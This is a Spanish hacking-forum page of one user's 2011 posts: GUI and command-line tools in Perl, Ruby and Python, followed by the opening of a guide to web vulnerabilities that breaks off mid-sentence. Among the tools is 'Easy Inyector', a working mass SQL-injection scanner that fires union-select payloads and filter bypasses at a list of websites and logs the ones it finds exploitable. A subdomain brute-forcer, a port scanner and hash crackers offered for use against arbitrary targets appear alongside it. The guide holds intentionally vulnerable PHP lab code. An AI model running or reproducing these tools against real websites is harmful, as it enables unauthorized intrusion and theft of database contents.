Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#461
Perl / [Perl Tk] Fuzz DNS
Julio 03, 2011, 10:00:56 PM
Hola a todos , aca les dejo un programa en tk para poder buscar las
dns de un host , todos los resultados se guardan en un archivo de texto

Imagen del programa en accion



Código: perl

#!usr/bin/perl
#Brute DNS (C) Doddy Hackman 2011


@dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','secure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');

use Tk;
use Tk::ROText;
use LWP::UserAgent;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $new = MainWindow->new();
$new->geometry("337x330+50+50");
$new->title("Brute DNS (C) Doddy Hackman 2011");
$new->resizable(0,0);

$new->Label(-text=>"Page : ",-font=>"Impact2")->place(-x=>"10",-y=>"10");
my $target = $new->Entry(-width=>30)->place(-x=>"70",-y=>"14");
$new->Label(-text=>"Output",-font=>"Impact1")->place(-x=>140,-y=>60);

my $console = $new->ROText(-width=>43,-height=>15)->place(-x=>15,-y=>100);

$new->Button(-text=>"Scan",-command=>\&buscar,-width=>8)->place(-x=>260,-y=>11);

MainLoop;

sub buscar {
$console->delete("0.1","end");
my $host = $target->get;

$console->insert("end","\n[*] Searching DNS to ".$host.".....\n\n");
for my $path(@dns) {
$new->update;
$code = toma("http://".$path.".".$host);
if ($code->is_success) {
push(@found,"http://".$path.".".$host);
}
}
$total = int(@found);
if ($total eq "0") {
$console->insert("end","[-] No found any dns");
} else {
$console->insert("end","[+] DNS found : ".int(@found)."\n\n");
for(@found) {
$console->insert("end","[Link] : ".$_."\n");
savefile("dns-found.txt",$_);
}
}
$console->insert("end","\n\n[+] Finish\n\n");
}

sub salir { exit 1;}

sub toma {
return $nave->get($_[0]);
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

# ¿ The End ?

#462
Perl / [Perl Tk] Fast Scan Port 0.3
Julio 03, 2011, 10:00:37 PM
Un scanner bien rapido en perl , solo es rapido en linux xDDDDDD

Una imagen en mi glorioso ubuntu





Código: perl

#!usr/bin/perl
#Fast Scan Port 0.3
#(c) Doddy Hackman 2011
#Tested on Ubuntu 10.04

use Tk;
use Tk::ROText;
use IO::Socket;

my $new = MainWindow->new();

$new->title("Fast Scan Port 0.3");
$new->geometry("240x400+20+20");
$new->resizable(0,0);

$new->Label(-text=>"Target : ",-font=>"Impact1")->place(-y=>20,-x=>20);
my $target = $new->Entry(-width=>20,-text=>"localhost")->place(-y=>24,-x=>85);
$new->Label(-text=>"Port : ",-font=>"Impact1")->place(-x=>20,-y=>50);
my $par = $new->Entry(-width=>10,-text=>"1-9999")->place(-y=>53,-x=>70);

$new->Label(-text=>"Output",-font=>"Impact1")->place(-x=>90,-y=>90);
my $console = $new->ROText(-height=>14,-width=>28)->place(-y=>130,-x=>20);

$new->Button(-text=>"Scan Now",-command=>\&scan,-width=>20)->place(-y=>350,-x=>50);

MainLoop;

sub scan {

my $ip = $target->get;
my $verbien = $par->get;

if ($verbien=~/(.*)-(.*)/) {

my $start = $1;
my $end = $2;

$console->delete("0.0","end");
$console->insert("end","\n[+] Target : ".$ip."\n");
$console->insert("end","[+] Port : $verbien\n\n");

for my $port($start..$end) {
$new->update;
if (new IO::Socket::INET(Timeout=>0.5,PeerAddr => $ip,PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
$console->insert("end","[+] Port Found : ".$port."\n");
}}
$console->insert("end","\n\n[+] Scan Finished\n\n");
}}

# ¿ The End ?
#463
Perl / [Perl Tk] Easy Inyector 1.0
Julio 03, 2011, 10:00:25 PM
Hola , aca les dejo un programa para escanear las vulnerabilidad SQL , solo
ponen un archivo de texto con las webs y el programa testea si la vulnerabilidad permite hacer varias
cosas o no.

Imagen





Código: perl

#!usr/bin/perl
#Easy Inyector 1.0 (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use Win32;
use LWP::UserAgent;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $more = MainWindow->new();
$more->title("Easy Inyector 1.0 (C) Doddy Hackman 2011");
$more->geometry("480x280+50+50");
$more->resizable(0,0);

$more->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>30);
my $filex = $more->Entry(-width=>35)->place(-y=>15,-x=>80);
$more->Button(-text=>"Start",-width=>10,-command=>\&start)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&poner)->place(-x=>370,-y=>12);

$more->Label(-text=>"Webs")->place(-y=>70,-x=>150);
my $vuls = $more->Listbox(-width=>40)->place(-y=>100,-x=>50 );

$more->Label(-text=>"Risk")->place(-y=>70,-x=>350);
my $type = $more->Listbox(-width=>10)->place(-y=>100,-x=>340);

MainLoop;

sub poner {
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure(-text =>$file);
}

sub start {

my $fileax = $filex->get;

unless (-f $fileax) {
Win32::MsgBox("File dont exist",0,"Easy Inyector 1.0");
} else {

$vuls->delete("0.0","end");
$type->delete("0.0","end");

open(FIL,$fileax);
my @webs = <FIL>;
close FIL;

chomp @webs;

my @pages = repes(cortar(@webs));

for my $page(@pages) {

my ($gen,$save,$control) = &length($page,"--");
if ($control eq 1) {
$vuls->insert("end",$gen);
details($gen,$bypass,$save);
}
}
$more->update;
Win32::MsgBox("[+] Scan Finished",0,"Easy Inyector 1.0");
system("start logs/sqli-logs.txt");
}}

sub length {
my $rows  = "0";
my $asc;
my $page = $_[0];

($pass1,$pass2) = &bypass($_[1]);

$inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$more->update;

if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

$more->update;

my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);

unless ($testar1 eq $testar2) {
my $patha = $1;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$more->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
$total.= ",".$rows;
$injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
$total=~s/$number[0]/hackman/;
return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}}}}}

sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/ig) {
my  ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$testx = toma($inforschema);

if ($testx=~/ERTOR854/ig) {
$type->insert("end","Hight");
savefile("sqli-logs.txt","[SQLI] : $page");
savefile("sqli-logs.txt","[Risk] : Hight\n");
} else {
savefile("sqli-logs.txt","[SQLI] : $page");
savefile("sqli-logs.txt","[Risk] : Low\n");
$type->insert("end","Low");
}}}

sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}

sub ascii {
return join ',',unpack "U*",$_[0];
}

sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}

sub cortar {
my @nuevo;
for(@_) {
@tengo = split("=",$_);
push(@nuevo,@tengo[0]."=");
}
return @nuevo;
}

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

# ¿ The End ?

#464
Perl / [Perl Tk] DH Player
Julio 03, 2011, 09:59:37 PM
Un feo pero funcional reproductor mp3

Imagen





Código: perl

#!usr/bin/perl
#DH Player 0.1
#(C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/Win32-MediaPlayer.ppd

use Tk;
use Tk::DirTree;
use Win32::MediaPlayer;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

$test = new Win32::MediaPlayer;

$new = MainWindow->new(-background=>"black");
$new->geometry("350x420+20+20");
$new->resizable(0,0);
$new->title("DH Player 0.1 (C) Doddy Hackman 2011");
$new->Label(-background=>"black",-foreground=>"yellow",-font=>"Impact",-text=>"Directory : ")->place(-x=>"20",-y=>"20");
my $dir = $new->Entry(-background=>"black",-foreground=>"yellow",-text=>"C:\\Users\\Daniel\\Desktop\\WarFactory\\Perl\\musica")->place(-x=>"100",-y=>"25");
$new->Button(-background=>"black",-foreground=>"yellow",-activebackground=>"yellow",-text=>"Search",-width=>"10",-command=>\&buscar)->place(-x=>"240",-y=>"25");
$new->Label(-background=>"black",-foreground=>"yellow",-text=>"Files Found",-font=>"Impact")->place(-y=>"95",-x=>"120");
my $lists = $new->Listbox(-background=>"black",-foreground=>"yellow")->place(-y=>"130",-x=>"100");
$new->Button(-background=>"black",-foreground=>"yellow",-text=>"Play",-width=>"55",-activebackground=>"yellow",-command=>\&play)->place(-y=>"310");
$new->Button(-background=>"black",-foreground=>"yellow",-text=>"Pause",-width=>"55",-activebackground=>"yellow",-command=>\&pause)->place(-y=>"333");
$new->Button(-background=>"black",-foreground=>"yellow",-text=>"Resume",-width=>"55",-activebackground=>"yellow",-command=>\&resume)->place(-y=>"356");
$new->Button(-background=>"black",-foreground=>"yellow",-text=>"Stop",-width=>"55",-activebackground=>"yellow",-command=>\&stop)->place(-y=>"379");
$new->Button(-background=>"black",-foreground=>"yellow",-text=>"Browse",-width=>10,-command=>\&bro,-activebackground=>"yellow")->place(-x=>240,-y=>48);

MainLoop;

sub bro {
my $ven = MainWindow->new();
$ven->title("Choose Directory");
$ven->geometry("300x280+20+20");
$ven->resizable(0,0);
$ven->Scrolled("DirTree",-width=>100,-height=>20,-command=>\&choose)->pack();

sub choose {
$dir->configure(-text=>$_[0]);
$ven->destroy;
}
}

sub play {

my $dir = $dir->get;

$d = $lists->curselection();

for my $id (@$d) {
my $cancion = $lists->get($id);
$test->load($dir."\\".$cancion);
$test->play;
}

}

sub stop {
$test->close;
}

sub pause {

my $dir = $dir->get;

$d = $lists->curselection();

for my $id (@$d) {
my $cancion = $lists->get($id);
$test->pause;
}

}

sub resume {

my $dir = $dir->get;

$d = $lists->curselection();

for my $id (@$d) {
my $cancion = $lists->get($id);
$test->resume;
}

}

sub buscar {

$lists->delete(0.0,"end");

my $dir = $dir->get;

opendir DIR,$dir;

my @archivos = readdir DIR;

close DIR;

chomp @archivos;

foreach my $file(@archivos) {
if (-f $dir."\\".$file) {
if ($file=~/wma/ or $file=~/mp3/) {
$lists->insert("end",$file);
}
}
}

}


# ¿ The End ?
#465
Perl / [Perl TK] Codificator
Julio 03, 2011, 09:59:24 PM
Un codificador con las sig opciones

  • Hex
  • SHA1
  • MD5
  • Base64
  • ASCII
  • URL


    Imagen





    Código: perl

    #!usr/bin/perl
    #Codificator (C) Doddy Hackman 2011

    use Tk;
    use Digest::MD5;
    use Digest::SHA1;
    use MIME::Base64;
    use URI::Escape;

    if ($^O eq 'MSWin32') {
    use Win32::Console;
    Win32::Console::Free();
    }

    $header= "This tool encode text in :

    Hex
    SHA1
    MD5
    Base64
    ASCII
    URL


    ";

    $window = MainWindow->new(-background=>"black",-foreground=>"white");
    $window->geometry("500x500+80+80");
    $window->title("Codificator (C) Doddy Hackman 2011");
    $window->resizable(0,0);
    $window->Label(-background=>"black",-foreground=>"white",-font=>"Impact",-text=>"Codificator")->pack();
    $window->Label(-background=>"black",-foreground=>"white")->pack();
    $window->Label(-background=>"black",-foreground=>"white")->pack();
    $window->Label(-background=>"black",-foreground=>"white",-text=>"Code")->place(-x =>180, -y => 70);
    $window->Optionmenu(-background=>"black",-foreground=>"white",-activebackground=>'white',
    -options => [[HEX=>HEX], [ASCII=>ASCII], [BASE64=>BASE64], [MD5=>MD5],[SHA1=>SHA1],[URL=>URL]],   
    -variable => \$var,
    -textvariable => \$codificacion
    )->place(-x =>220, -y => 70);
    my $rot = $window->Text(-background=>"black",-foreground=>"white",-width=> 45,-height=> 15)->place(-x =>90, -y => 150);
    $window->Button(-text=>"Encode",-background=>"black",-foreground=>"white",-activebackground=>"white",-command=>\&encode,-width=>"10")->place(-x =>12, -y => 170);
    $window->Button(-text=>"Decode",-background=>"black",-foreground=>"white",-activebackground=>"white",-command=>\&decode,-width=>"10")->place(-x =>12, -y => 200);
    $window->Button(-text=>"Clear",-background=>"black",-foreground=>"white",-activebackground=>"white",-command=>\&clear,-width=>"10")->place(-x =>420, -y => 170);
    $window->Button(-text=>"About",-background=>"black",-foreground=>"white",-activebackground=>"white",-command=>\&about,-width=>"10")->place(-x =>420, -y => 200);
    $window->Button(-text=>"Exit",-background=>"black",-foreground=>"white",-activebackground=>"white",-command=>[$window=>'destroy'],-width=>"10")->place(-x =>420, -y => 230);
    $window->Label(-background=>"black",-foreground=>"white",-text=>"Copyright 2011 Doddy Hackman",-font=>"Impact")->place(-x =>150, -y => 430);
    $rot->insert('end',$header);

    MainLoop;


    sub about {
    my $venta = MainWindow->new(-background=>"black");
    $venta->geometry("300x180+20+20");
    $venta->title("About");
    $venta->resizable(0,0);
    $venta->Label(-font=>"Impact",-text=>"\nCodificator",-background=>"black",-foreground=>"white")->pack();
    $venta->Label(-text=>"\nProgrammer : Doddy Hackman\n\nContact : lepuke[at]hotmail[com]\n\n",-background=>"black",-foreground=>"white")->pack();
    $venta->Button(-text=>"Exit",-foreground=>"white",-background=>"black",-command => [$venta => 'destroy'],-activebackground=>'white',-width=>"20")->pack()
    }

    sub clear {
    $rot->delete('0.1','end');
    }

    sub encode {
    $text = $rot->get("1.0", "end");
    chomp $text;
    &clear;
    if ($codificacion eq "HEX") {
    $result = hexar($text);
    $rot->insert('end',$result);
    print $result;
    }

    elsif ($codificacion eq "SHA1") {
    $sha1 = Digest::SHA1->new->add($text);
    my $digest = $sha1->digest;
    $rot->insert('end',$digest);
    }
    elsif ($codificacion eq "BASE64") {
    $result = encode_base64($text);
    $rot->insert('end',$result);
    }
    elsif ($codificacion eq "URL") {
    my $codec  = Badger::Codec::URL->new();
    my $ya = $codec->encode($text);
    $rot->insert('end',$ya);
    }
    elsif ($codificacion eq "ASCII") {
    $result = ascii($text);
    $rot->insert('end',$result);
    }
    elsif ($codificacion eq "MD5") {
    $digest = Digest::MD5->md5_hex($text);
    $rot->insert('end',$digest);
    }
    else {
    $window->messageBox(-message=>"What?!\n");
    }}


    sub decode {
    $text = $rot->get("1.0", "end");
    chomp $text;
    &clear;
    if ($codificacion eq "HEX") {
    $result = decodera($text);
    $rot->insert('end',$result);
    }

    elsif ($codificacion eq "SHA1") {
    $window->messageBox(-message=>"What?! , it's not possible with a function decoded\n");
    }
    elsif ($codificacion eq "BASE64") {
    $result = decode_base64($text);
    $rot->insert('end',$result);
    }
    elsif ($codificacion eq "URL") {
    my $codec  = Badger::Codec::URL->new();
    my $ya = $codec->decode($text);
    $rot->insert('end',$ya);
    }
    elsif ($codificacion eq "ASCII") {
    $result = ascii_de($text);
    $rot->insert('end',$result);
    }
    elsif ($codificacion eq "MD5") {
    $window->messageBox(-message=>"What?! , it's not possible with a function decoded\n");
    }
    else {
    $window->messageBox(-message=>"What?!\n");
    }}

    sub hexar {
    my $string = $_[0];
    $hex = '0x';
    for (split //,$string) {
    $hex .= sprintf "%x", ord;
    }return $hex;}

    sub ascii {
    return join ',',unpack "U*",$_[0];
    }


    sub decodera {
    $_[0] =~ s/^0x//;
    $encode = join q[], map { chr hex } $_[0] =~ /../g;
    return $encode;
    }

    sub ascii_de {
    $_[0] = join q[], map { chr } split q[,],$_[0];
    return $_[0];
    }

    # ¿ The End ?
#466
Perl / [Perl TK] Client WhoIs
Julio 03, 2011, 09:59:08 PM
Un simple cliente whois

Imagen





Código: perl

#!usr/bin/perl
#Client Whois (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd

use Tk;
use Tk::ROText;
use Net::Whois::Raw;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $new = MainWindow->new();
$new->geometry("390x300+50+50");
$new->title("Client Whois (C) Doddy Hackman 2011");
$new->resizable(0,0);

$new->Label(-text=>"Dominio : ",-font=>"Impact2")->place(-x=>"10",-y=>"10");
my $dom = $new->Entry(-width=>"30")->place(-x=>"85",-y=>"13");

my $console = $new->ROText(-width=>36,-height=>15)->place(-x => 15, -y => 50);

$new->Button(-text=>"Buscar!",-command=>\&buscar,-width=>"10")->place(-x=>290,-y=>"50");
$new->Button(-text=>"Limpiar",-command=>\&limpiar,-width=>"10")->place(-x=>290,-y=>"80");
$new->Button(-text=>"Salir",-command=>\&salir,-width=>"10")->place(-x=>290,-y=>"110");


MainLoop;


sub buscar {
$console->delete("0.1","end");
my $target = $dom->get;
$new->update;
$console->insert("end",whois($target));
$new->update;
}

sub limpiar {
$console->delete("0.1","end");
$dom->delete("0.1","end");
}

sub salir { exit 1;}

# ¿ The End ?
#467
Ruby / [Ruby] Proxy Tester
Julio 03, 2011, 09:56:06 PM
Un simple programa para testear proxies

Código: ruby

#!usr/bin/ruby
#ProxyTester (C) Doddy Hackman 2011

require 'net/http'


def uso
  print "\n[+] proxy.rb <file>\n"
end

def head()
  print "\n\n -- == Proxy Tester == --\n\n"
end

def copyright()
   print "\n\n(C) Doddy Hackman 2011\n\n"
   exit(1)
end

def testar(tengo)

if tengo=~/(.*):(.*)/
host = $1
port = $2
begin

new = Net::HTTP.new(proxy=host,proxy_port=port)
code = new.get("http://127.0.0.1/sql.php")#http://www.petardas.com
case code
  when Net::HTTPSuccess
  print "[Proxy Found] : #{host}:#{port}\n"
end
rescue
end
end
end


head()
if !ARGV[0]
  uso()
else
archivo = File.open(ARGV[0])
print "\n[+] Scanning file\n\n\n"
lineas = archivo.readlines
lineas.each {
|linea|
linea = linea.chomp
testar(linea) #funcion
}
archivo.close
copyright() 
end
copyright()

# ¿ The End ?
#468
Ruby / [Ruby] PasteBin Uploader
Julio 03, 2011, 09:55:52 PM
Un simple programa para subir codigos a pastebin


Código: ruby

#!usr/bin/ruby
#PasteBin Uploader  (C) Doddy Hackman 2011

require "net/http"

def head()
print "\n\n-- == PasteBin Uploader\n\n\n"
end

def copyright()
print "\n\n(C) Doddy Hackman 2011\n\n"
exit(1)
end

def uso()
print "\n[+] up.rb <file> <titulo> <tipo>\n"
end

def tomar(web,par)
   return Net::HTTP.post_form(URI.parse(web),par).body
   end

def subir(file,titulo,tipo)

begin
archivo = File.open(file)
lineas = archivo.readlines
rescue
print "\n[-] Error open file\n"
end

print "[+] Uploading file\n\n"

code = tomar("http://pastebin.com/api_public.php",{"paste_code" =>lineas,"paste_name"=>titulo,"paste_format"=>tipo,"paste_expire_date"=>"N","paste_private"=>"public","submit"=>"submit"})

if code=~/Bad API request/
print "[-] Error uploading\n"
else
print "[+] Enjoy : "+code+"\n"

end
end

file = ARGV[0]
titulo = ARGV[1]
tipo = ARGV[2]

head()
if !file and !titulo and !tipo
uso()
else
subir(file,titulo,tipo)
end
copyright()

# ¿ The End ?
#469
Ruby / [Ruby] PassChecker
Julio 03, 2011, 09:55:37 PM
Un simple programa para crackear hashes md5

Código: ruby

#!usr/bin/ruby
#PassChecker (C) Doddy Hackman 2011

require 'net/http'

def toma(web)
   return Net::HTTP.get_response(URI.parse(web)).body
   end

def uso()
print "\n[+] pass.rb <hash>\n"
end


def head()
  print "\n\n -- == PassChecker == --\n\n\n"
end

def copyright()
   print "\n\n\n(C) Doddy Hackman 2011\n\n"
   exit(1)
end

def crack(hash)

if hash.length == 32
  print "\n[+] Cracking hash #{hash}\n\n"
  begin
  code = toma("http://victorov.su/md5/?md5e=&md5d="+hash)
  if code=~/MD5 ðàñøèôðîâàí: <b>(.*)<\/b>/
   print "\n[+] Hash : "+$1+"\n"
  else
   print "\n[-] Pass not crack\n"
   end
  rescue
  print "\n[-] Page offline\n"
  end
else
  print "\n[-] Dont Hash\n\n"
end


end


head()
if !ARGV[0]
uso()
else
crack(ARGV[0]) 
end
copyright()

#470
Python / [Python] Simple Crack Hash
Julio 03, 2011, 09:55:03 PM
Un simple programa para crackear hashes md5


Código: python

#Simple Crack Hash
#(C) DOddy Hackman 2011
#Test with 202cb962ac59075b964b07152d234b70:123

import urllib2,re,sys

nave = urllib2.build_opener(urllib2.HTTPCookieProcessor())
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]


def head():
print "\n\n== -- Crack Hash -- ==\n\n"

def copyright():
print "\n\n(C) Doddy HAckman 2011\n"

def uso():
print "\n[+] crackhash.py <hash>\n\n"

def crack(passw):
print "\n[+] Cracking...\n\n"
code = toma("http://md5.hashcracking.com/search.php?md5="+passw)
if re.findall("Cleartext of (.*) is (.*)",code):
  control = re.findall("Cleartext of (.*) is (.*)",code)
  print "[+] Password : "+control[0][1]
else:
  print "\n[-] Not Found\n\n"
   
def toma(web):
return nave.open(web).read()

head()

if len(sys.argv) == 2 :
crack(sys.argv[1])
else:
uso()

copyright()

#471
Python / [Python] Proxy Tester
Julio 03, 2011, 09:54:48 PM
Un simple programa para testear proxies

Código: python

#!usr/bin/python
#Proxy Tester (C) Doddy Hackman 2011

import urllib2,sys


def toma(web) :
return nave.open(web).read()

def header() :
print "\n\n--== Proxy Tester ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2011\n"
sys.exit(1)

def sintax() :
print "\n[*] Sintax : ",sys.argv[0]," <file>"

def testar(host):
try:
  proxy = urllib2.ProxyHandler({"http":host})
  nave = urllib2.build_opener(proxy)
  nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
  urllib2.install_opener(nave)
  urllib2.urlopen("http://127.0.0.1/sql.php")#
  print "[+] Proxy Found : "+host
except:
  pass

header()
if len(sys.argv) != 2 :
sintax()
else :
print "\n[+] Opening file\n\n"
try:
  hosts = open(sys.argv[1], "r").readlines()
except :
  print "\n[-] Error opening file\n"
for host in hosts:
  host = host.replace("\r","").replace("\n","")
  testar(host)
copyright()

#  The End
#472
Python / [Python] PasteBin Uploader
Julio 03, 2011, 09:54:33 PM
Un simple programa para subir codigos a pastebin

Código: python

#!usr/bin/python
#PasteBin Uploader (C) Doddy Hackman 2011

import urllib2,sys,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def tomar(web,vars) :
return nave.open(web,vars).read()

def head():
print "\n-- == PasteBin Uploader == --\n\n"

def copyright():
print "\n(C) Doddy Hackman 2011\n"
sys.exit(1)

def sintax():
print "[+] paste.py <file> <title> <perl/python/ruby/php>\n"

def chubir(file,title,type):
print "[+] Uploading file\n"
try:
  lineas = open(file,"r").readlines()
except:
  print "[-] Error open file\n"
  copyright()
lin = "".join(lineas)
try:
  code = tomar("http://pastebin.com/api_public.php","paste_code="+str(lin)+"&paste_name="+title+"&paste_format="+type+"&paste_expire_date=N&paste_private=public&submit=submit")
except:
  print "[-] Page offline\n"
if re.findall("Bad API request",code):
  print "[-] Error uploading file\n"
else:
  print "[+] Enjoy : ",code+"\n"
  copyright()

head()
if len(sys.argv) != 4 :
sintax()
else :
chubir(sys.argv[1],sys.argv[2],sys.argv[3])
copyright()



# The End
#473
[Guia] Vulnerabilidades a nivel web



[Titulo] : Vulnerabilidades a nivel web
[Autor] : Doddy Hackman


[Temario]

--===================================--

0x01 : Introduccion
0x02 : SQLI
0x03 : Blind SQLI
0x04 : HTML Injection
0x05 : XSS
0x06 : RFI
0x07 : LFI
0x08 : Remote code Execution
0x09 : Full Path Discloure
0x10 : Full Source Discloure
0x11 : PHP Injections

--===================================--


0x01 : Introduccion


Hola a todos.

Eh empezado a hacer esta simple guia donde detallo de forma minima las vulnerabilidades mas comunes
a nivel web , en cada vulnerabilidad solo explicare como se produce y como arreglarlo , pero
no voy a ampliar demasiado en tecnias de cada una
Cualquier error en la guia deben decirmelo para aprender de mis errores


0x02 : SQLI

Las injecciones SQL son una de las vulnerabilidades mas usadas debido a que es una de las faciles de explotar cuando estas
son encontradas.
La injecciones SQL se producen cuando se incluye en una sentencia SQL una variable que no esta filtrada , entonces
mediante la variable mal filtrada vamos a poder codigo que nos puedan ayudar
a sacar columnas , extraer tablas y columnas , datos y todo eso.........

Un ejemplo de este tipo de vulnerabilidad

Código: text

<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'users';

$conexion = mysql_connect($host, $user);
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = mysql_query("SELECT * FROM `hackers` WHERE id=".$id) or die (mysql_error());

$resultado = mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>


Como ven , la funcion mysql_query() usa un sentencia que posee la variable $id , como la variable
$id no esta filtrada o protegida , se puede insertar codigo de la siguiente manera

Código: text

http://127.0.0.1/sql.php?id= ¿AQUI?


A partir del id podemos poner el codigo para ver si es vulnerable o no porque id es la variable mal
filtrada

Para saber si es vulnerable podemos poner un ' en el contenido de id

Si el resultado de la pagina es algo como mysql error bla bla

Es porque es vulnerable

Una forma de protegerse de este ataque es verificar que $id sea un numero y no codigo raro para modificar
la sentencia SQL


Código: text


if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}



Como vemos usamos is_numeric para la verificacion , pero usamos este para verificar que si $id no es un numero , este  nos avise y
nos diga no me jodas !!!

0x03 : Blind SQLI

Las Blind SQLI vienen de la misma vulnerabilidad que las SQLI , pero en este caso el admin
usa @ en las funciones para la conexion con la DB o error_reporting en 0 para que
no tire errores. Un grave error pues asi esta provocando las conocidas Blind SQLI

Un ejemplo de pagina vulnerable seria este

Código: text

<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'hackman';

$conexion = mysql_connect($host, $user,"123");
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = @mysql_query("SELECT * FROM `hackers` WHERE id=".$id);

$resultado = @mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>


como ven usamos @ para evitar errores las funciones mysql_query() y mysql_fetch_row()

Entonces para comprobar que si la pagina es vulnerable a Blind SQLI podemos poner asi en
